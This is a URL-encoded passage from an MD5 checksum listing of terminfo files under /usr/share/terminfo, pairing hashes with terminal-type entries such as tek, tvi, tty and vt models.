%0A985d96c9d3aa2ca2ad9311ab339e774b%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4105a%0A65656bfc02fc89ed37e50864fc8e9955%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4112-5%0A0971ee49ca71a5d588a90846f93409da%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4112-nd%0Adba3cc44a436e4016d5a8420bcbb5750%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4113%0A23f41838ec6de859de63f3681272267a%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4113-34%0A127f7fc6624a0ca99dcbcf158a11f355%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4113-nd%0A76fa400eb118a925e656c0bd783629c0%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4115%0A50f79f821b71c8794e922e895f233cea%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4125%0A9081e988c8087222377874a771d39cb4%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4205%0A201f8b67322102e3f78be1b6d6c8901b%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4207%0A0aab79d788dbea1e095a206e0dc39a03%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4207-s%0A7814a29ac11537133c752bfaa9797980%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4404%0Aba0dc4e6f12e66b2352fb616edf5380d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fteletec%0A7f0219a055c694feda6914be447f7f5a%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fteraterm%0Ad2d0c1b39e3f5abb9ee000aa1a6696f6%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti916-132%0A19cce3eddbd028e471fe618a09948166%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti916-8-132%0A520bdb122487de5cf9587500df15c13b%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti924%0A5097da9865ef00b6a20f76d83c4f3a0b%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti924-8%0A91abbfa303928682542dc19388e84681%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti924-8w%0A9632f8d01f3f22dbccab3e5977ce14b5%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti924w%0Abbd1dbe0fc08dc6735dd7dc7a7216c28%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti926%0Adeff4104fa686b0d4f8ad535cd898ed6%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti926-8%0Af4cacb6bc6d57a632b68b914e2a62cec%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti928%0Acd93e4f02688ccbfac07f8e99e8698b9%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti928-8%0A112dc18c368a591f14eddcb17d7147b8%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti931%0A3057a966642bbfe99d1271525a5d3d3a%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti_ansi%0A7d77c73776159443a08cf95c554ce728%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftrs16%0Aacd74cf32f4cbfc4bc8193c166f6b04f%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fts100-ctxt%0A5eca74270dedd6202038f1ac68166075%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty37%0Afd9f184e97bfbaf9ce3860fe248d98e3%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty43%0A727de75988614beeea053e8e18dc8b85%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi803%0Aacdfe1cc3585741a9877f09e2920e52d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi9065%0A8f9cb69d680906b3d1b7043911c1a116%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi910%0A44ca9e3ff86c79cded88773235f10987%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi910%2B%0Aa15d6fc31a666b5f2177338dcec48b4e%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi912cc%0A492da6f7413fde6938b51114bbe1798b%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi921%0Ac8e309e8196ff7c190ea49f5247951be%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi924%0A2a78cdd75a4f133340a757f37a7e938d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi925%0Abebb8628878cb2163044169a920432c7%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi925-hi%0Ac73e32ae1bb1e69681102e8cd9e08e08%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi92B%0A233eecf86762fbe2e82a59f0c417aed5%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi92D%0A49b03bc49cad6444533a7439a054e365%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi950%0A6d96b9697539f4b9ff7bf200aaa56331%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi950-2p%0A9fa857bf476aa4de939ec0838b4c8a8a%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi950-4p%0A45acc0d7d0e4853e83ef1b7fe8f00d3c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi950-rv%0A66da032aae9541481a13357192bb1ba1%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftws2103-sna%0A7e25884b29d229b30d70bb85a7d1f611%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fts-1%0A29768a252ce25411dbb88f6e5bffdca7%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi950-rv-4p%0A52a7aae0b49b90870e8fb027cb663a80%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi955%0Aff4ce6ec5db0ee81fc0941cedde674a9%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi970%0A4aac5f84451dca6c732289dcdd942cfe%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi970-2p%0A8b1d3d9b99cb1dd2d44bf076bd1c0904%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi970-vb%0Ad63c3b1f3df128a5412cf2ee3002826d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvipt%0A375f4042babccbcd3e74cdb739a9c6e2%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftws2103%0A9dcee095f4e5cce2a451f73306a1b19f%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi920c%0A9dcee095f4e5cce2a451f73306a1b19f%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi920b%0Aac5504d8c6cba50c1c64727bfff7b58d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi912c%0Aac5504d8c6cba50c1c64727bfff7b58d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi912b%0A0722774700f9b53f46d0b1b0917a6ec3%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi914%0A0722774700f9b53f46d0b1b0917a6ec3%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi920%0A59fa0beaed8f9604a3b87f6020eb8397%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi-2p%0A0722774700f9b53f46d0b1b0917a6ec3%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi912%0A59fa0beaed8f9604a3b87f6020eb8397%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi912-2p%0A59fa0beaed8f9604a3b87f6020eb8397%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi920-2p%0A1e22f94a56cc8ce8adb48be0d4223ffa%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty35%0A1e22f94a56cc8ce8adb48be0d4223ffa%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty33%0A7229f5a9f5791784cc784d04afe2eacf%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fts100-sp%0A7229f5a9f5791784cc784d04afe2eacf%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fts100%0Aebf151f3565102d5f286cc50eedde2a5%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftrs80II%0Aebf151f3565102d5f286cc50eedde2a5%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2FtrsII%0A2b712adc4ca35490728c799b59037464%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti916-8%0Aebf151f3565102d5f286cc50eedde2a5%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftrs2%0A0aa3f880771f9b3a1808a6250388deff%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti916-220-7%0A2b712adc4ca35490728c799b59037464%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti916-220-8%0A0aa3f880771f9b3a1808a6250388deff%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti916%0A24fe5f622d48d58b79fa8484bc93d853%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti733%0A24fe5f622d48d58b79fa8484bc93d853%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti735%0A24fe5f622d48d58b79fa8484bc93d853%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti745%0A24fe5f622d48d58b79fa8484bc93d853%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti800%0A47bb89c1767aa98932adda365e842318%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fterminet1200%0A1eb17dc96f706b984f759f0bd3b66ab9%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek%0A24fe5f622d48d58b79fa8484bc93d853%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fti700%0A47bb89c1767aa98932adda365e842318%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fterminet300%0A47bb89c1767aa98932adda365e842318%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftn1200%0A47bb89c1767aa98932adda365e842318%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftn300%0A9a3d598b1b26a946dec202b758387275%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4114%0A34fb3cd528c427a168c247a2bf15507e%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4107%0A47bb89c1767aa98932adda365e842318%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fterminet%0A9a3d598b1b26a946dec202b758387275%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4112%0A34fb3cd528c427a168c247a2bf15507e%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4109%0Aa4cde271bb4715365384a1798f24a29c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4107brl%0Aa4cde271bb4715365384a1798f24a29c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4109brl%0Ac7a96ee2e3ce1f4911f972dfad9e4632%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4024%0Aa4cde271bb4715365384a1798f24a29c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4106brl%0A39854d7516d6521c9f6705dd64fe412c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4027-ex%0A39854d7516d6521c9f6705dd64fe412c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4025-ex%0Ac7a96ee2e3ce1f4911f972dfad9e4632%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4025%0Ac7a96ee2e3ce1f4911f972dfad9e4632%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4027%0A1eb17dc96f706b984f759f0bd3b66ab9%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4012%0A5f207a681ea9db9552f760f6e4a3fd2a%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftab132%0A5f207a681ea9db9552f760f6e4a3fd2a%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftab132-15%0A5f207a681ea9db9552f760f6e4a3fd2a%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftab%0Af05b1a36650dd2b723b497e8e2116479%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftandem653%0Af05b1a36650dd2b723b497e8e2116479%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ft653x%0A7c05e90d7dc4f5b644646f78408e4719%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fteleray%0A7c05e90d7dc4f5b644646f78408e4719%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ft1061%0Af8afdd97ec1c6d36eaeb175070ac4346%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftgtelnet%0Abe5436f93f8bfa205617c11296a8e47c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftt505-22%0Adfb5624c762aa7ceefe8b403ea010514%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fts1p%0A7e25884b29d229b30d70bb85a7d1f611%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fts1%0Adfb5624c762aa7ceefe8b403ea010514%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fts-1p%0A77ad13dd75c85cf7244b21ab2212c7bf%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420-w-rv-n%0Afe1a23fc16717e5a7fd1bba3018c334f%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftws2102-sna%0A7218a6efce461d165d8b33d1ac5996c6%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftws-generic%0Accc766f60b4606258d0c76ab863073e0%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty40%0A26106be394fea470d10db5f45043cdd5%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5620-s%0A3f2890a7933ee14b720fe7447110cb04%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5620-34%0Af86690c1a0f6764908397203a7447987%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5620-24%0A1a54a2583ea338aaeb811913639f8ae3%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5620-1%0Ae56382fd4f2e0cb27f6f32f0710fb7be%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty4426%0A89e9f703f8a96f653d18380cf1e2a715%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5425-w%0Ae00d9878f1dc2d15216c32e478a85859%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5425-nl%0Af1eda0ced4c0ddab4cfde7310f1d76c4%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5425%0Af4d813452b2ee03a02f5b96b3e7f8208%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty4424m%0Afce79299b2a6cd8e5711099676c13f27%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty4424-1%0Acc4449e6904dba2cb675b8c46262e22d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty4424%0A62511ae8e4ad8106d5e805d81fbb01fb%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty4420%0A6ad6626ff1064a6d5ed8fcea8da52283%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420-w-rv%0A1c436f79afebddabc8f3d87083049a22%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420-w-nl%0Abb970cdbe3495e42920f1d3951195f1c%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420-w%0A6fe5e8a6aad724211682f3c1663ed2a9%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420-rv-nl%0A7311c2d6449e6ace35868922e6625f1e%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420-rv%0Aa178e0150544fc86f76ac8b052254916%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420-nl%0A278dc038f9b91a1f434aa299d5c9e3af%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420%2Bnl%0A38c19b3d838815f8bea5729dfcf67b44%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5420%0Afd8bd381dba18f392ce7491d63dc0ebc%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5410v1-w%0Ae1b328f9450001d0d4023d326274fa3e%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5410v1%0Ac9fd7f1a77fbe8df150adaa5126799bd%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5410%0A42178fbb7f72d3c57c9e6c11b3eb237e%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi955-w%0A6336e079d00d4c5729582a90e2701a0b%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi955-hb%0Adcd9663215f0f0842677ec569872fe06%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Fttydmd%0Adcd9663215f0f0842677ec569872fe06%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5620%0A2f30f801560b2a043bdea05dd69973ef%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftty5410-w%0A9bc0392f8b03cd71833523b9a880d3c1%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4025ex%0A85c0e6f22840e9e56ab2509a9869e58d%20%20%2Fusr%2Fshare%2Fterminfo%2Fu%2Funiterm49%0A8407d5e02ee8c4c63e8f51368366b9a5%20%20%2Fusr%2Fshare%2Fterminfo%2Fu%2Funknown%0Aeb85e198ef9f2aa1b90a7f7d21887174%20%20%2Fusr%2Fshare%2Fterminfo%2Fu%2Futs30%0A85c0e6f22840e9e56ab2509a9869e58d%20%20%2Fusr%2Fshare%2Fterminfo%2Fu%2Funiterm%0A158b115e3239805ca9319744876bf161%20%20%2Fusr%2Fshare%2Fterminfo%2Fu%2FultimaII%0A158b115e3239805ca9319744876bf161%20%20%2Fusr%2Fshare%2Fterminfo%2Fu%2Fultima2%0Ad4ab82bc9687170f7669b3502206d6fd%20%20%2Fusr%2Fshare%2Fterminfo%2Fu%2Funixpc%0A0b6f6fdbcf43b3dd0c722e35ad65308a%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fversaterm%0A4cfee0067f926cb452e92ca9db8a015f%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fv3220%0A0713764782ead8e7a208b414a981bc75%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fv5410%0A0389484f8290864118f845f37918b44f%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvanilla%0A08d2f1da8e187c45c875e27537c112fc%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvc404%0Ae8f614af71449862d061e8261289b0f4%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvc404-s%0A0c253e007e46202ce82ff9202f2fa72c%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvc415%0A4a3e01c32b408c403d0e6d112e4cd6db%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi200-rv%0A1db58f244fbbdcf91219527e626e40e5%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi200%0A4327ef4d2685c00f789035814cf9a6f0%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi200-f%0Acf5affbc3b4ff9c7c2b7f16dbcf2e021%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi300-old%0Ad8b77addbb3d73b3f2d4de16cb90e212%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi300%0A5b11502d8b1f78a01995197cab41c893%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-nav%0A6f029d06ce19c286a2644f8138d40520%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi50%0A328d2984bb264dd6553997de10f14af3%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi500%0A76b7eb9ecd81efa0ce8eab8c9299f533%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi50adm%0A840d0e41d0c804cb2d8b6052dfdc38f6%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi55%0A857647b3ada708a2fc0e4d62cf498b33%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvi550%0A344264ec48a52cb95294eee9eefed595%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvip%0Aa3b275ca665fe30d8dc21034e2508c37%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvisa50%0Aa82fb2d5a5e14158cb7266fb8148b573%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvremote%0A88602dfcd1bc58451514b9e0324b2532%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvsc%0Af3be8aaed02f15aabf8de9fcaf45a181%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-vb%0Ae6fdc8a4110be9e38b4f1bb50009e883%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt102%0Af6e3fa469e90f3893b0e1eca12ff535f%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt102-nsgr%0A9dd45f1811429f5170ec007cd7e1cd17%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt102-w%0A68f9e6258d2b67ea6244ec477a2d88f1%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt125%0Acc1fca05462d2f6127df44136920d4c2%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt131%0A55f9ddf965e5edfeda47835cf982a703%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt132%0Aaef43a56fd9edaa40f2307e8bcb31682%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt220d%0A24bda3873f28d7d07b2fe0091aab115d%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt320-k3%0Aebb20670356c42762f92f236f7dfa61d%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt320-k311%0A66c7eca0fdcad064efca6190ab36374f%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt420%0Aa21c5d72eb831d61484815b522b9eb00%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt420f%0A24483ebcc7b5fa7f716881755ae89a06%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt420pc%0A3470567ddd1cb1abb786b333e120e2c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt420pcdos%0A98e518fd62b4a16a7208321ad923dd4a%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt50%0A266453ec815a84095b161b58dee4a661%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt50h%0Adbeda47d4dc7bf710cf0900368ff81c7%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt510%0Aaa47de2f18d416477b041b4af83994ff%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt510pc%0A0d9bab7445efaa0dedfc6252bc812bb0%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt510pcdos%0A2cfdf4dcc4a93c378d9c6bc01cb8f3c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt52%0Ad117b8ea566fa57de6950ff0f7868d93%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt520%0Ae66712903f33a5d44a64c45306c97ebf%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt525%0Acd9ebcaf67381bdbbd64c2e8dc6ac03e%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt320-w-nam%0Acd9ebcaf67381bdbbd64c2e8dc6ac03e%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt300-w-nam%0A4f2e45bf20d0d42b9f293c9a7d267c90%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt320-w%0A4f2e45bf20d0d42b9f293c9a7d267c90%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt300-w%0A9e5c04377f2eb89e868a6d8616446e92%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt320-nam%0A9e5c04377f2eb89e868a6d8616446e92%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt300-nam%0A1f5247da82b2225e2e33fb1bd3445b24%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt320%0A1f5247da82b2225e2e33fb1bd3445b24%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt300%0A57ec410698294ca485d9716cc33c8fab%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt220-w%0A57ec410698294ca485d9716cc33c8fab%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt200-w%0A384bc209b041643ba9f6f2b3b0ef1ef9%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt220-old%0A384bc209b041643ba9f6f2b3b0ef1ef9%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt200-old%0A2d2a60783f56a8ff46919474a13a2b47%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt220-js%0A48f59d283acf1bc6e74ce6a726d751b0%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt61%0A2d2a60783f56a8ff46919474a13a2b47%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt200-js%0Adfc31d9811cf9f5bb1ebce0046bd90a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt200-8bit%0Adfc31d9811cf9f5bb1ebce0046bd90a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt220-8%0Adfc31d9811cf9f5bb1ebce0046bd90a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt220-8bit%0Ad84067478b4b1365bec5b152daaf9161%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt200%0Adfc31d9811cf9f5bb1ebce0046bd90a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt200-8%0Ad84067478b4b1365bec5b152daaf9161%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt220%0A9c5d86693c7c5981e3d37e9ef3c83187%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-w-am%0A9c5d86693c7c5981e3d37e9ef3c83187%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-w%0A133704abc7efd483ea639bfd3d3d219d%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-s-top%0A133704abc7efd483ea639bfd3d3d219d%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-top-s%0Aef64cd970ebe51390df737678f93a6f8%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvp90%0A133704abc7efd483ea639bfd3d3d219d%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-s%0A9db3203570821d8f2cdf28023c42ff43%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-w-nav%0A9db3203570821d8f2cdf28023c42ff43%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-nav-w%0A6a5571e9e15e8b15b5c8c4786864d274%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-w-nam%0A6a5571e9e15e8b15b5c8c4786864d274%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-nam-w%0A3bc5f7b54dfaae1cefd19dc5bc7b925f%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100nam%0Aac80a1494d15a816763163dc6f0a36dd%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvp60%0A3bc5f7b54dfaae1cefd19dc5bc7b925f%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-nam%0A269bc94e3c2a4778247a684542e740f1%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-s-bot%0A269bc94e3c2a4778247a684542e740f1%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-bot-s%0Ad93624290a5975897b0478520c709e83%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100-am%0Ad93624290a5975897b0478520c709e83%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt100%0A48f59d283acf1bc6e74ce6a726d751b0%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt61.5%0Ad9fcc8d712cef376d75861fe63300fca%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvs100-x10%0A48f59d283acf1bc6e74ce6a726d751b0%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvt-61%0Ae1ec3da6a56fc1a75448eee343ed471b%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvs100%0A734f2f62abaa21a040dfc7d7cbdd3422%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fviewpoint3a%2B%0Aef64cd970ebe51390df737678f93a6f8%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fviewpoint90%0A734f2f62abaa21a040dfc7d7cbdd3422%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvp3a%2B%0A6e39b775535adea6117874b5accdd0f8%20%20%2Fusr%2Fshare%2Fterminfo%2Fv%2Fvisual603%0A6e39b775535adea6117874b5accdd0f8%20%20%2Fusr%2Fshare%2Fterminfo%2Fv